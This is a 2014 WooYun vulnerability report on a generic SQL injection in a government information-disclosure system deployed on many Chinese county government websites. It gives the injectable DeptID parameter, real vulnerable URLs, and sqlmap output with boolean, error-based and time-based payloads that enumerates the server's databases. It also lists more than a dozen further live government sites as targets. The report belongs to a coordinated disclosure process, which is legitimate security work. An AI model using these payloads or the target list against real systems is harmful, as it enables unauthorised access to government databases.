漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-076349
漏洞标题:某政务系统通用性SQL注入漏洞
相关厂商:衡南某政府网
漏洞作者: 郭斯特
提交时间:2014-09-18 12:20
修复时间:2014-12-17 12:22
公开时间:2014-12-17 12:22
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-09-18: 细节已通知厂商并且等待厂商处理中
2014-09-23: 厂商已经确认,细节仅向厂商公开
2014-09-26: 细节向第三方安全合作伙伴开放
2014-11-17: 细节向核心白帽子及相关领域专家公开
2014-11-27: 细节向普通白帽子公开
2014-12-07: 细节向实习白帽子公开
2014-12-17: 细节向公众公开
简要描述:
test~
详细说明:
与前辈是同一套系统~
WooYun: 某通用型政府服务系统多处SQL注入
技术支持:深圳市北斗星科技有限公司
默认后台 sssweb/login.aspx
google hack~
http://www.hengnan.gov.cn/sssweb/DirectoryPublic/main.aspx?DeptID=DA0207'
参数DeptID没有过滤导致注射~
加个'报错
sqlmap跑~
http://www.hengdong.gov.cn/sssweb/DirectoryPublic/Main.aspx?deptid=DDD080’
[11:48:39] [INFO] resuming back-end DBMS 'microsoft sql server'
[11:48:39] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: deptid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: deptid=DDD080' AND 1291=1291 AND 'ayql'='ayql
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: deptid=DDD080' AND 7696=CONVERT(INT,(CHAR(58) CHAR(106) CHAR(118) C
HAR(97) CHAR(58) (SELECT (CASE WHEN (7696=7696) THEN CHAR(49) ELSE CHAR(48) END)
) CHAR(58) CHAR(98) CHAR(122) CHAR(113) CHAR(58))) AND 'SXYc'='SXYc
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: deptid=DDD080' AND 7770=(SELECT COUNT(*) FROM sysusers AS sys1,sysu
sers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6
,sysusers AS sys7) AND 'fYWI'='fYWI
---
[11:48:46] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[11:48:46] [INFO] fetching database names
[11:48:52] [INFO] the SQL query used returns 7 entries
[11:48:55] [INFO] retrieved: dbsssso1
[11:48:57] [INFO] retrieved: master
[11:48:59] [INFO] retrieved: model
[11:49:01] [INFO] retrieved: msdb
[11:49:02] [INFO] retrieved: sapp
[11:49:02] [INFO] retrieved: sssdesk
[11:49:03] [INFO] retrieved: tempdb
available databases [7]:
[*] dbsssso1
[*] master
[*] model
[*] msdb
[*] sapp
[*] sssdesk
[*] tempdb
个别是延时注射。不深入~
漏洞证明:
案例举例:
http://www.hyx.gov.cn/sssweb/DirectoryPublic/InfoCategorytree.aspx?DeptID=DB0000'
http://www.zhengxiang.gov.cn/sssweb/DirectoryPublic/InfoCategorytree.aspx?DeptID=DL0100%27
http://hengdong.gov.cn/sssweb/login.aspx
http://www.leiyang.gov.cn/sssweb/login.aspx
http://www.hyyfq.gov.cn/sssweb/login.aspx
http://zx.cq.gov.cn/sssweb/login.aspx
http://www.hyx.gov.cn/sssweb/login.aspx
http://www.hnchangning.gov.cn/sssweb/login.aspx
http://www.hengshan.gov.cn/sssweb/login.aspx
http://www.zhengxiang.gov.cn/sssweb/login.aspx
http://59.51.64.36:5544/sssweb/login.aspx
http://zmhd.yuhua.gov.cn/sssweb/login.aspx
http://2007.hengshan.gov.cn/sssweb/login.aspx
修复方案:
过滤参数~
版权声明:转载请注明来源 郭斯特@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:14
确认时间:2014-09-23 08:21
厂商回复:
最新状态:
暂无